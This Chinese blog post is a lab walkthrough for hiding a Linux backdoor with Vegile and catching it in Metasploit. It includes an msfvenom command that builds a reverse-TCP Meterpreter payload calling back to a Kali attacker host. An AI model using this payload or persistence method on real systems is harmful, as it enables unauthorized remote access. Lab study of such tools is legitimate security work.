Vegile实现linux后门隐藏

最新推荐文章于 2024-05-18 09:47:04 发布

Benjiamin D

最新推荐文章于 2024-05-18 09:47:04 发布

阅读量1.1k

点赞数 1

分类专栏： msf 渗透测试

本文链接：https://blog.csdn.net/weixin_43102772/article/details/104347522

版权

本文介绍了如何使用Vegile工具在Linux系统中创建并隐藏后门，通过metasploit监听回话。首先，将Vegile部署在Kali Linux的Web服务器上，接着配置metasploit进行反弹shell监听。然后，在目标CentOS 7系统中下载并解压Vegile，赋予执行权限，并用Vegile启动后门。最后，通过删除Vegile和后门测试其隐藏效果，确保即使文件被删除，连接仍然可以维持。

摘要由CSDN通过智能技术生成

Vegile是linux中的权限维持工具。主要用来隐藏后门、和无限循环连接meterpreter来保持回话。

实验环境：
1.attack：kali 192.168.72.131
2.target：centos7 192.168.72.132
3.Vegile、metasploit

一、前期准备
将Vegile上传到kali的 /var/www/html下
在这里插入图片描述

kali生成后门程序保存到/var/www/html下

root@xuegod53:~# msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.72.131  LPORT=4444 -b "\x00" -f elf -o /var/www/html/backdoor

在这里插入图片描述
二、metasploit监听
运行exploit/multi/handler，配置反弹地址、端口，开启监听。